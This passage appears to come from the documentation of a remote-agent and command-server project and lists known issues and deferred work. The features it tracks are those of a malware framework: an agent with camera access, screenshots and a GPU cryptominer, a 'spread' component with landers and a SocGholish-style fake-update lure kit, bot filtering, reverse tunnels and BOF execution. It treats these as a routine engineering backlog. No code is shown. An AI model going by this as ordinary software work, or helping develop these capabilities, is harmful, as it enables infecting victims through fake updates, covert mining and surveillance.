5. Revert VM snapshot; archive or delete data-e2e\

Full playbook: docs/E2E_VALIDATION.md in the repo root.

PROBLEMS — Known Limits

Severity-ranked audit lives in PROBLEMS.md at the repo root. Check before large fleet deployment. Many builder and API issues from the 2026-06-04 pass are fixed; below are notable open or deferred items.

Dashboard (deferred)

• Flaky forge progress simulation — cosmetic stage timeline caps at 94% until server responds
• Path Forge / batch fusion test gaps — cancellation and partial failure races
• Dual storage without sync policy — session preferred over local on logout

Fusion / PathForge

• fusion/ package has no direct unit tests (coverage in builder fusion tests)
• Windows agent may auto-download WireGuard on first Path Tracer use — operator should pre-install
• Mac PathForge .command requires server_url + /api/download/agent-mac at runtime

Agent

• macOS: firewall aggressive ops, camera, GPU miner — stubs or partial
• Linux screenshot in headless containers needs xvfb + scrot
• WebSocket/beacon paths are integration-tested via Docker Tier 2

Spread / Emberwake gaps

• No built-in OAuth redirect helper or public npm/PyPI publish pipeline
• No JS fingerprint / TDS bot gate on spread landers
• SocGholish-style fake-update HTML kit — operator supplies custom branding

Server / agent (open)

• tunnel_stream TCP reverse relay — not implemented
• Server cloudflared auto-launch — Windows only; Linux server needs manual tunnel
• bof_execute — permanently disabled
• Mesh P2P — default build stub; re-forge with -tags p2p
• Linux/macOS GPU RVN — broken (Windows miner binaries)
• server/webroot not auto-synced on npm run build — run devrun.bat

See PROBLEMS.md for the full fixed/open tables with issue IDs (B-01–B-13, API-D01–D10, etc.).